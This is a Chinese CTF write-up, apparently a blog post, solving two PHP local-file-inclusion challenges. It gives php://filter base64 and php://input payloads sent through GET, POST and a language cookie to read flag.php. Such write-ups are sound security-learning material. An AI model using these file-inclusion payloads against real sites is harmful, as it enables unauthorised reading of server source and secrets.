攻防世界-fileclude

一 

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

 要传入两个值,flie1和flie2

file1是最终要读取flag的,又是文件包含,用php://filter读取

要file2满足条件file_get_contents($file2) === "hello ctf"才会执行file1

不能让flag2直接等于hello ctf,要让hello ctf先包含进文件

所以可以用file2=php://input,POST写入hello ctf

这样hello ctf就被写入file2了 

GET
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input


POST
hello ctf=hello ctf

 然后抓包,POST只保留hello ctf(如果直接在HackBar上写hello ctf,bp抓不了包,一定要加=)

 然后base64解码

 

页面上看不出什么东西,查看源代码

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

 输入的变量是language,用COOKIE传参,输出的是x

19行 @include("english.php")可以看出此处存在文件包含。include函数用php://filter伪协议来绕过

flag后面不加.php,会自动加上

这里直接用language=flag显示不出php代码 

language=php://filter/read=convert.base64-encode/resource=flag

 base64解码

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值